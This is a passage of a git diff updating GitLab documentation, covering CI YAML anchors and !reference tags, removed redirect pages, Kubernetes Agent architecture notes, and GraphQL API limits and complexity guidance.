[`TRANSFER_METER_FREQUENCY`](../runners/README.md#artifact-and-cache-settings) (artifact/cache meter update frequency) +- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (artifact archiver compression level) +- [`CACHE_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (cache archiver compression level) You can also use variables to configure how many times a runner [attempts certain stages of job execution](../runners/README.md#job-stages-attempts). @@ -4323,13 +4369,14 @@ You can also use variables to configure how many times a runner It's possible to use special YAML features like anchors (`&`), aliases (`*`) and map merging (`<<`). Use these features to reduce the complexity -of `.gitlab-ci.yml`. +of the code in the `.gitlab-ci.yml` file. Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/). In most cases, the [`extends` keyword](#extends) is more user friendly and should -be used over these special YAML features. YAML anchors may still -need to be used to merge arrays. +be used over these special YAML features. + +You can use YAML anchors to merge YAML arrays. ### Anchors @@ -4349,26 +4396,26 @@ The following example uses anchors and map merging. It creates two jobs, with their own custom `script` defined: ```yaml -.job_template: &job_definition # Hidden key that defines an anchor named 'job_definition' +.job_template: &job_configuration # Hidden yaml configuration that defines an anchor named 'job_configuration' image: ruby:2.6 services: - postgres - redis test1: - <<: *job_definition # Merge the contents of the 'job_definition' alias + <<: *job_configuration # Merge the contents of the 'job_configuration' alias script: - test1 project test2: - <<: *job_definition # Merge the contents of the 'job_definition' alias + <<: *job_configuration # Merge the contents of the 'job_configuration' alias script: - test2 project ``` -`&` sets up the name of the anchor (`job_definition`), `<<` means "merge the +`&` sets up the name of the anchor (`job_configuration`), `<<` means "merge the given hash into the current one", and `*` includes the named anchor -(`job_definition` again). The expanded version of the example above is: +(`job_configuration` again). The expanded version of the example above is: ```yaml .job_template: @@ -4399,31 +4446,31 @@ and `test:mysql` share the `script` defined in `.job_template`, but use differen `services`, defined in `.postgres_services` and `.mysql_services`: ```yaml -.job_template: &job_definition +.job_template: &job_configuration script: - test project tags: - dev .postgres_services: - services: &postgres_definition + services: &postgres_configuration - postgres - ruby .mysql_services: - services: &mysql_definition + services: &mysql_configuration - mysql - ruby test:postgres: - <<: *job_definition - services: *postgres_definition + <<: *job_configuration + services: *postgres_configuration tags: - postgres test:mysql: - <<: *job_definition - services: *mysql_definition + <<: *job_configuration + services: *mysql_configuration ``` The expanded version is: @@ -4465,7 +4512,7 @@ test:mysql: ``` You can see that the hidden jobs are conveniently used as templates, and -`tags: [dev]` has been overwritten by `tags: [postgres]`. +`tags: [postgres]` overwrites `tags: [dev]`. #### YAML anchors for scripts @@ -4475,28 +4522,37 @@ You can use [YAML anchors](#anchors) with [script](#script), [`before_script`](# and [`after_script`](#after_script) to use predefined commands in multiple jobs: ```yaml -.some-script: &some-script - - echo "Execute this script in `before_script` sections" - .some-script-before: &some-script-before - - echo "Execute this script in `script` sections" + - echo "Execute this script first" + +.some-script: &some-script + - echo "Execute this script second" + - echo "Execute this script too" .some-script-after: &some-script-after - - echo "Execute this script in `after_script` sections" + - echo "Execute this script last" -job_name: +job1: before_script: - *some-script-before script: - *some-script + - echo "Execute something, for this job only" after_script: - *some-script-after + +job2: + script: + - *some-script-before + - *some-script + - echo "Execute something else, for this job only" + - *some-script-after ``` #### YAML anchors for variables -[YAML anchors](#anchors) can be used with `variables`, to repeat assignment -of variables across multiple jobs. Use can also use YAML anchors when a job +Use [YAML anchors](#anchors) with `variables` to repeat assignment +of variables across multiple jobs. You can also use YAML anchors when a job requires a specific `variables` block that would otherwise override the global variables. In the example below, we override the `GIT_STRATEGY` variable without affecting @@ -4541,6 +4597,68 @@ Use this feature to ignore jobs, or use the [special YAML features](#special-yaml-features) and transform the hidden jobs into templates. +### `!reference` tags + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/266173) in GitLab 13.9. + +Use the `!reference` custom YAML tag to select keyword configuration from other job +sections and reuse it in the current section. Unlike [YAML anchors](#anchors), you can +use `!reference` tags to reuse configuration from [included](#include) configuration +files as well. + +In this example, a `script` and an `after_script` from two different locations are +reused in the `test` job: + +- `setup.yml`: + + ```yaml + .setup: + script: + - echo creating environment + ``` + +- `.gitlab-ci.yml`: + + ```yaml + include: + - local: setup.yml + + .teardown: + after_script: + - echo deleting environment + + test: + script: + - !reference [.setup, script] + - echo running my own command + after_script: + - !reference [.teardown, after_script] + ``` + +In this example, `test-vars-1` reuses the all the variables in `.vars`, while `test-vars-2` +selects a specific variable and reuses it as a new `MY_VAR` variable. + +```yaml +.vars: + variables: + URL: "http://my-url.internal" + IMPORTANT_VAR: "the details" + +test-vars-1: + variables: !reference [.vars, variables] + script: + - printenv + +test-vars-2: + variables: + MY_VAR: !reference [.vars, variables, IMPORTANT_VAR] + script: + - printenv +``` + +You can't reuse a section that already includes a `!reference` tag. Only one level +of nesting is supported. + ## Skip Pipeline To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md index e4ede9cf699..765b982dbeb 100644 --- a/doc/ci/yaml/gitlab_ci_yaml.md +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -5,7 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- <!-- markdownlint-disable MD044 --> +<!-- vale gitlab.Spelling = NO --> # The .gitlab-ci.yml file +<!-- vale gitlab.Spelling = YES --> <!-- markdownlint-enable MD044 --> To use GitLab CI/CD, you need: diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index 2d26d9f8922..5750fe1ba61 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -121,7 +121,7 @@ job: - echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again." ``` -You can define the color codes in Shell variables, or even [custom environment variables](../variables/README.md#custom-environment-variables), +You can define the color codes in Shell variables, or even [custom environment variables](../variables/README.md#custom-cicd-variables), which makes the commands easier to read and reusable. For example, using the same example as above and variables defined in a `before_script`: diff --git a/doc/customization/branded_login_page.md b/doc/customization/branded_login_page.md deleted file mode 100644 index cf593f360c8..00000000000 --- a/doc/customization/branded_login_page.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages' ---- - -This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/branded_page_and_email_header.md b/doc/customization/branded_page_and_email_header.md deleted file mode 100644 index 21a69178b6d..00000000000 --- a/doc/customization/branded_page_and_email_header.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md#navigation-bar' ---- - -This document was moved to [another location](../user/admin_area/appearance.md#navigation-bar). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/favicon.md b/doc/customization/favicon.md deleted file mode 100644 index 3d6c2f62b25..00000000000 --- a/doc/customization/favicon.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md#favicon' ---- - -This document was moved to [another location](../user/admin_area/appearance.md#favicon). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/help_message.md b/doc/customization/help_message.md deleted file mode 100644 index 3f13e4efdbd..00000000000 --- a/doc/customization/help_message.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/settings/help_page.md' ---- - -This document was moved to [another location](../user/admin_area/settings/help_page.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/index.md b/doc/customization/index.md deleted file mode 100644 index 3c88ad8106b..00000000000 --- a/doc/customization/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md' ---- - -This document was moved to [another location](../user/admin_area/appearance.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/issue_and_merge_request_template.md b/doc/customization/issue_and_merge_request_template.md deleted file mode 100644 index 0b4ca009080..00000000000 --- a/doc/customization/issue_and_merge_request_template.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/project/description_templates.md' ---- - -This document was moved to [description_templates](../user/project/description_templates.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/issue_closing.md b/doc/customization/issue_closing.md deleted file mode 100644 index c860f51dc2f..00000000000 --- a/doc/customization/issue_closing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/project/issues/managing_issues.md#closing-issues-automatically' ---- - -This document was moved to [another location](../user/project/issues/managing_issues.md#closing-issues-automatically). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/libravatar.md b/doc/customization/libravatar.md deleted file mode 100644 index affb6211377..00000000000 --- a/doc/customization/libravatar.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/libravatar.md' ---- - -This document was moved to [another location](../administration/libravatar.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/new_project_page.md b/doc/customization/new_project_page.md deleted file mode 100644 index 82549d62960..00000000000 --- a/doc/customization/new_project_page.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md#new-project-pages' ---- - -This document was moved to [another location](../user/admin_area/appearance.md#new-project-pages). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/system_header_and_footer_messages.md b/doc/customization/system_header_and_footer_messages.md deleted file mode 100644 index 03dccfb35c9..00000000000 --- a/doc/customization/system_header_and_footer_messages.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md#system-header-and-footer-messages' ---- - -This document was moved to [another location](../user/admin_area/appearance.md#system-header-and-footer-messages). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/customization/welcome_message.md b/doc/customization/welcome_message.md deleted file mode 100644 index cf593f360c8..00000000000 --- a/doc/customization/welcome_message.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../user/admin_area/appearance.md#sign-in--sign-up-pages' ---- - -This document was moved to [another location](../user/admin_area/appearance.md#sign-in--sign-up-pages). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/README.md b/doc/development/README.md index 0d3c1b3cbe9..3d5335feb11 100644 --- a/doc/development/README.md +++ b/doc/development/README.md @@ -121,6 +121,7 @@ In these cases, use the following workflow: - [User Experience (UX)](https://about.gitlab.com/handbook/engineering/ux/) - [Security](https://about.gitlab.com/handbook/engineering/security/) - [Quality](https://about.gitlab.com/handbook/engineering/quality/) + - [Engineering Productivity](https://about.gitlab.com/handbook/engineering/quality/engineering-productivity-team/) - [Infrastructure](https://about.gitlab.com/handbook/engineering/infrastructure/) - [Technical Writing](https://about.gitlab.com/handbook/engineering/ux/technical-writing/) @@ -151,6 +152,7 @@ In these cases, use the following workflow: ## Backend guides +- [Directory structure](directory_structure.md) - [GitLab utilities](utilities.md) - [Issuable-like Rails models](issuable-like-models.md) - [Logging](logging.md) @@ -229,7 +231,7 @@ See [database guidelines](database/index.md). - [Security Scanners](integrations/secure.md) - [Secure Partner Integration](integrations/secure_partner_integration.md) - [How to run Jenkins in development environment](integrations/jenkins.md) -- [How to run local Codesandbox integration for Web IDE Live Preview](integrations/codesandbox.md) +- [How to run local `Codesandbox` integration for Web IDE Live Preview](integrations/codesandbox.md) ## Testing guides @@ -293,6 +295,7 @@ See [database guidelines](database/index.md). - [Compatibility with multiple versions of the application running at the same time](multi_version_compatibility.md) - [Features inside `.gitlab/`](features_inside_dot_gitlab.md) - [Dashboards for stage groups](stage_group_dashboards.md) +- [Preventing transient bugs](transient/prevention-patterns.md) ## Other GitLab Development Kit (GDK) guides diff --git a/doc/development/adding_service_component.md b/doc/development/adding_service_component.md index 7e2add2c91f..f3e23906ac6 100644 --- a/doc/development/adding_service_component.md +++ b/doc/development/adding_service_component.md @@ -65,7 +65,7 @@ Notify the [Distribution team](https://about.gitlab.com/handbook/engineering/dev New services to be bundled with GitLab need to be available in the following environments. -**Dev environment** +**Development environment** The first step of bundling a new service is to provide it in the development environment to engage in collaboration and feedback. diff --git a/doc/development/agent/gitops.md b/doc/development/agent/gitops.md index 8c8586326fa..f183ba86aa1 100644 --- a/doc/development/agent/gitops.md +++ b/doc/development/agent/gitops.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# GitOps with the Kubernetes Agent **(PREMIUM ONLY)** +# GitOps with the Kubernetes Agent **(PREMIUM SELF)** The [GitLab Kubernetes Agent](../../user/clusters/agent/index.md) supports the [pull-based version](https://www.gitops.tech/#pull-based-deployments) of diff --git a/doc/development/agent/identity.md b/doc/development/agent/identity.md index 884ce015a02..49d20d2fd87 100644 --- a/doc/development/agent/identity.md +++ b/doc/development/agent/identity.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Kubernetes Agent identity and authentication **(PREMIUM ONLY)** +# Kubernetes Agent identity and authentication **(PREMIUM SELF)** This page uses the word `agent` to describe the concept of the GitLab Kubernetes Agent. The program that implements the concept is called `agentk`. diff --git a/doc/development/agent/index.md b/doc/development/agent/index.md index 95661c8ddbd..112162f8f90 100644 --- a/doc/development/agent/index.md +++ b/doc/development/agent/index.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Kubernetes Agent development **(PREMIUM ONLY)** +# Kubernetes Agent development **(PREMIUM SELF)** This page contains developer-specific information about the GitLab Kubernetes Agent. [End-user documentation about the GitLab Kubernetes Agent](../../user/clusters/agent/index.md) diff --git a/doc/development/agent/local.md b/doc/development/agent/local.md index 47246a6a6d3..603364567bf 100644 --- a/doc/development/agent/local.md +++ b/doc/development/agent/local.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Run the Kubernetes Agent locally **(PREMIUM ONLY)** +# Run the Kubernetes Agent locally **(PREMIUM SELF)** You can run `kas` and `agentk` locally to test the [Kubernetes Agent](index.md) yourself. diff --git a/doc/development/agent/repository_overview.md b/doc/development/agent/repository_overview.md new file mode 100644 index 00000000000..b9eea286a3e --- /dev/null +++ b/doc/development/agent/repository_overview.md @@ -0,0 +1,98 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Kubernetes Agent repository overview **(PREMIUM SELF)** + +This page describes the subfolders of the Kubernetes Agent repository. +[Development information](index.md) and +[end-user documentation](../../user/clusters/agent/index.md) are both available. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a video overview, see +[GitLab Kubernetes Agent repository overview](https://www.youtube.com/watch?v=j8CyaCWroUY). + +## `build` + +Various files for the build process. + +### `build/deployment` + +A [`kpt`](https://googlecontainertools.github.io/kpt/) package that bundles some +[Kustomize](https://kustomize.io/) layers and components. Can be used as-is, or +to create a custom package to install `agentk`. + +## `cmd` + +Commands are binaries that this repository produces. They are: + +- `kas` is the GitLab Kubernetes Agent Server binary. +- `agentk` is the GitLab Kubernetes Agent binary. + +Each of these directories contain application bootstrap code for: + +- Reading configuration. +- Applying defaults to it. +- Constructing the dependency graph of objects that constitute the program. +- Running it. + +### `cmd/agentk` + +- `agentk` initialization logic. +- Implementation of the agent modules API. + +### `cmd/kas` + +- `kas` initialization logic. +- Implementation of the server modules API. + +## `examples` + +Git submodules for the example projects. + +## `internal` + +The main code of both `gitlab-kas` and `agentk`, and various supporting building blocks. + +### `internal/api` + +Structs that represent some important pieces of data. + +### `internal/gitaly` + +Items to work with [Gitaly](../../administration/gitaly/index.md). + +### `internal/gitlab` + +GitLab REST client. + +### `internal/module` + +Modules that implement server and agent-side functionality. + +### `internal/tool` + +Various building blocks. `internal/tool/testing` contains mocks and helpers +for testing. Mocks are generated with [`gomock`](https://pkg.go.dev/github.com/golang/mock). + +## `it` + +Contains scaffolding for integration tests. Unused at the moment. + +## `pkg` + +Contains exported packages. + +### `pkg/agentcfg` + +Contains protobuf definitions of the `agentk` configuration file. Used to configure +the agent through a configuration repository. + +### `pkg/kascfg` + +Contains protobuf definitions of the `gitlab-kas` configuration file. Contains an +example of that configuration file along with the test for it. The test ensures +the configuration file example is in sync with the protobuf definitions of the +file and defaults, which are applied when the file is loaded. diff --git a/doc/development/agent/routing.md b/doc/development/agent/routing.md index 43cc78ccdfb..9a7d6422d47 100644 --- a/doc/development/agent/routing.md +++ b/doc/development/agent/routing.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Routing `kas` requests in the Kubernetes Agent **(PREMIUM ONLY)** +# Routing `kas` requests in the Kubernetes Agent **(PREMIUM SELF)** This document describes how `kas` routes requests to concrete `agentk` instances. GitLab must talk to GitLab Kubernetes Agent Server (`kas`) to: @@ -134,90 +134,97 @@ of the `kas` receiving the request from the _external_ endpoint to retry and re- requests. This method ensures a single central component for each request can determine how a request is routed, rather than distributing the decision across several `kas` instances. -### API definitions +### Reverse gRPC tunnel + +This section explains how the `agentk` -> `kas` reverse gRPC tunnel is implemented. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a video overview of how some of the blocks map to code, see +[GitLab Kubernetes Agent reverse gRPC tunnel architecture and code overview +](https://www.youtube.com/watch?v=9pnQF76hyZc). + +#### High level schema + +In this example, `Server side of module A` exposes its API to get the `Pod` list +on the `Public API gRPC server`. When it receives a request, it must determine +the agent ID from it, then call the proxying code which forwards the request to +a suitable `agentk` that can handle it. + +The `Agent side of module A` exposes the same API on the `Internal gRPC server`. +When it receives the request, it needs to handle it (such as retrieving and returning +the `Pod` list). + +This schema describes how reverse tunneling is handled fully transparently +for modules, so you can add new features: + +```mermaid +graph TB + subgraph kas + server-internal-grpc-server[Internal gRPC server] + server-api-grpc-server[Public API gRPC server] + server-module-a[Server side of module A] + server-module-b[Server side of module B] + end + subgraph agentk + agent-internal-grpc-server[Internal gRPC server] + agent-module-a[Agent side of module A] + agent-module-b[Agent side of module B] + end + + agent-internal-grpc-server -- request --> agent-module-a + agent-internal-grpc-server -- request --> agent-module-b + + server-module-a-. expose API on .-> server-internal-grpc-server + server-module-b-. expose API on .-> server-api-grpc-server + + server-internal-grpc-server -- proxy request --> agent-internal-grpc-server + server-api-grpc-server -- proxy request --> agent-internal-grpc-server +``` + +#### Implementation schema + +`HandleTunnelConnection()` is called with the server-side interface of the reverse +tunnel. It registers the connection and blocks, waiting for a request to proxy +through the connection. + +`HandleIncomingConnection()` is called with the server-side interface of the incoming +connection. It registers the connection and blocks, waiting for a matching tunnel +to proxy the connection through. + +After it has two connections that match, `Connection registry` starts bi-directional +data streaming: -```proto -syntax = "proto3"; - -import "google/protobuf/timestamp.proto"; - -message KasAddress { - string ip = 1; - uint32 port = 2; -} - -message ConnectedAgentInfo { - // Agent id. - int64 id = 1; - // Identifies a particular agentk->kas connection. Randomly generated when agent connects. - int64 connection_id = 2; - string version = 3; - string commit = 4; - // Pod namespace. - string pod_namespace = 5; - // Pod name. - string pod_name = 6; - // When the connection was established. - google.protobuf.Timestamp connected_at = 7; - KasAddress kas_address = 8; - // What else do we need? -} - -message KasInstanceInfo { - string version = 1; - string commit = 2; - KasAddress address = 3; - // What else do we need? -} - -message ConnectedAgentsForProjectRequest { - int64 project_id = 1; -} - -message ConnectedAgentsForProjectResponse { - // There may 0 or more agents with the same id, depending on the number of running Pods. - repeated ConnectedAgentInfo agents = 1; -} - -message ConnectedAgentsByIdRequest { - int64 agent_id = 1; -} - -message ConnectedAgentsByIdResponse { - repeated ConnectedAgentInfo agents = 1; -} - -// API for use by GitLab. -service KasApi { - // Connected agents for a particular configuration project. - rpc ConnectedAgentsForProject (ConnectedAgentsForProjectRequest) returns (ConnectedAgentsForProjectResponse) { - } - // Connected agents for a particular agent id. - rpc ConnectedAgentsById (ConnectedAgentsByIdRequest) returns (ConnectedAgentsByIdResponse) { - } - // Depends on the need, but here is the call from the example above. - rpc GetPods (GetPodsRequest) returns (GetPodsResponse) { - } -} - -message Pod { - string namespace = 1; - string name = 2; -} - -message GetPodsRequest { - int64 agent_id = 1; - int64 connection_id = 2; -} - -message GetPodsResponse { - repeated Pod pods = 1; -} - -// Internal API for use by kas for kas -> kas calls. -service KasInternal { - // Depends on the need, but here is the call from the example above. - rpc GetPods (GetPodsRequest) returns (GetPodsResponse) { - } -} +```mermaid +graph TB + subgraph kas + server-tunnel-module[Server tunnel module] + connection-registry[Connection registry] + server-internal-grpc-server[Internal gRPC server] + server-api-grpc-server[Public API gRPC server] + server-module-a[Server side of module A] + server-module-b[Server side of module B] + end + subgraph agentk + agent-internal-grpc-server[Internal gRPC server] + agent-tunnel-module[Agent tunnel module] + agent-module-a[Agent side of module A] + agent-module-b[Agent side of module B] + end + + server-tunnel-module -- "HandleTunnelConnection()" --> connection-registry + server-internal-grpc-server -- "HandleIncomingConnection()" --> connection-registry + server-api-grpc-server -- "HandleIncomingConnection()" --> connection-registry + server-module-a-. expose API on .-> server-internal-grpc-server + server-module-b-. expose API on .-> server-api-grpc-server + + agent-tunnel-module -- "establish tunnel, receive request" --> server-tunnel-module + agent-tunnel-module -- make request --> agent-internal-grpc-server + agent-internal-grpc-server -- request --> agent-module-a + agent-internal-grpc-server -- request --> agent-module-b ``` + +### API definitions + +- [`agent_tracker/agent_tracker.proto`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/internal/module/agent_tracker/agent_tracker.proto) +- [`agent_tracker/rpc/rpc.proto`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/internal/module/agent_tracker/rpc/rpc.proto) +- [`reverse_tunnel/rpc/rpc.proto`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/internal/module/reverse_tunnel/rpc/rpc.proto) diff --git a/doc/development/agent/user_stories.md b/doc/development/agent/user_stories.md index 2929573ffd3..609be47a3cb 100644 --- a/doc/development/agent/user_stories.md +++ b/doc/development/agent/user_stories.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Kubernetes Agent user stories **(PREMIUM ONLY)** +# Kubernetes Agent user stories **(PREMIUM SELF)** The [personas in action](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#user-personas) for the Kubernetes Agent are: diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index d73c3a8d6f6..85098689392 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -10,7 +10,10 @@ This document outlines the style guide for the GitLab [GraphQL API](../api/graph ## How GitLab implements GraphQL +<!-- vale gitlab.Spelling = NO --> We use the [GraphQL Ruby gem](https://graphql-ruby.org/) written by [Robert Mosolgo](https://github.com/rmosolgo/). +<!-- vale gitlab.Spelling = YES --> +In addition, we have a subscription to [GraphQL Pro](https://www.graphql.pro). For details see [GraphQL Pro subscription](graphql_guide/graphql_pro.md). All GraphQL queries are directed to a single endpoint ([`app/controllers/graphql_controller.rb#execute`](https://gitlab.com/gitlab-org/gitlab/blob/master/app%2Fcontrollers%2Fgraphql_controller.rb)), @@ -21,6 +24,7 @@ which is exposed as an API endpoint at `/api/graphql`. In March 2019, Nick Thomas hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) on the GitLab [GraphQL API](../api/graphql/index.md) to share his domain specific knowledge with anyone who may work in this part of the codebase in the future. You can find the +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=-9L_1MWrjkg), and the slides on [Google Slides](https://docs.google.com/presentation/d/1qOTxpkTdHIp1CRjuTvO-aXg0_rUtzE3ETfLUdnBB5uQ/edit) and in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8e78ea7f326b2ef649e7d7d569c26d56/GraphQL_Deep_Dive__Create_.pdf). @@ -42,6 +46,36 @@ can be shared. It's also possible to add a `private_token` to the query string, or add a `HTTP_PRIVATE_TOKEN` header. +## Limits + +Several limits apply to the GraphQL API and some of these can be overridden +by developers. + +### Max page size + +By default, [connections](#connection-types) can only return +at most a maximum number of records defined in +[`app/graphql/gitlab_schema.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/gitlab_schema.rb) +per page. + +Developers can [specify a custom max page size](#page-size-limit) when defining +a connection. + +### Max complexity + +Complexity is explained [on our client-facing API page](../api/graphql/index.md#max-query-complexity). + +Fields default to adding `1` to a query's complexity score, but developers can +[specify a custom complexity](#field-complexity) when defining a field. + +To estimate the complexity of a query, you can run the +[`gitlab:graphql:analyze`](rake_tasks.md#analyze-graphql-queries) +Rake task. + +### Request timeout + +Requests time out at 30 seconds. + ## Global IDs The GitLab GraphQL API uses Global IDs (i.e: `"gid://gitlab/MyObject/123"`) @@ -281,6 +315,61 @@ Use the functionality the framework provides unless there is a compelling reason For example, instead of `latest_pipeline`, use `pipelines(last: 1)`. +#### Page size limit + +By default, the API returns at most a maximum number of records defined in +[`app/graphql/gitlab_schema.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/gitlab_schema.rb) +per page within a connection and this will also be the default number of records +returned per page if no limiting arguments (`first:` or `last:`) are provided by a client. + +The `max_page_size` argument can be used to specify a different page size limit +for a connection. + +WARNING: +It's better to change the frontend client, or product requirements, to not need large amounts of +records per page than it is to raise the `max_page_size`, as the default is set to ensure +the GraphQL API remains performant. + +For example: + +```ruby +field :tags, + Types::ContainerRepositoryTagType.connection_type, + null: true, + description: 'Tags of the container repository', + max_page_size: 20 +``` + +### Field complexity + +The GitLab GraphQL API uses a _complexity_ score to limit performing overly complex queries. +Complexity is described in [our client documentation](../api/graphql/index.md#max-query-complexity) on the topic. + +Complexity limits are defined in [`app/graphql/gitlab_schema.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/gitlab_schema.rb). + +By default, fields will add `1` to a query's complexity score. This can be overridden by +[providing a custom `complexity`](https://graphql-ruby.org/queries/complexity_and_depth.html) value for a field. + +Developers should specify higher complexity for fields that cause more _work_ to be performed +by the server in order to return data. Fields that represent data that can be returned +with little-to-no _work_, for example in most cases; `id` or `title`, can be given a complexity of `0`. + +### `calls_gitaly` + +Fields that have the potential to perform a [Gitaly](../administration/gitaly/index.md) call when resolving _must_ be marked as +such by passing `calls_gitaly: true` to `field` when defining it. + +For example: + +```ruby +field :blob, type: Types::Snippets::BlobType, + description: 'Snippet blob', + null: false, + calls_gitaly: true +``` + +This will increment the [`complexity` score](#field-complexity) of the field by `1`. + ### Exposing permissions for a type To expose permissions the current user has on a resource, you can call @@ -1599,7 +1688,7 @@ full stack: - An argument or scalar's [`prepare`](#validating-arguments) applies correctly. - Logic in a resolver or mutation's [`#ready?` method](#correct-use-of-resolverready) applies correctly. - An [argument's `default_value`](https://graphql-ruby.org/fields/arguments.html) applies correctly. -- Objects resolve performantly and there are no N+1 issues. +- Objects resolve successfully, and there are no N+1 issues. When adding a query, you can use the `a working graphql query` shared example to test if the query renders valid results. diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md index b2c93f16770..dd43281da6d 100644 --- a/doc/development/api_styleguide.md +++ b/doc/development/api_styleguide.md @@ -28,7 +28,7 @@ See the [Documentation Style Guide RESTful API page](documentation/restful_api_s ## Methods and parameters description Every method must be described using the [Grape DSL](https://github.com/ruby-grape/grape#describing-methods) -(see <https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/environments.rb> +(see [`environments.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/environments.rb) for a good example): - `desc` for the method summary. You should pass it a block for additional diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md index c661ff3f617..3608636dd55 100644 --- a/doc/development/application_limits.md +++ b/doc/development/application_limits.md @@ -1,6 +1,6 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/development/approval_rules.md b/doc/development/approval_rules.md index 542bce1cb97..368987eb85f 100644 --- 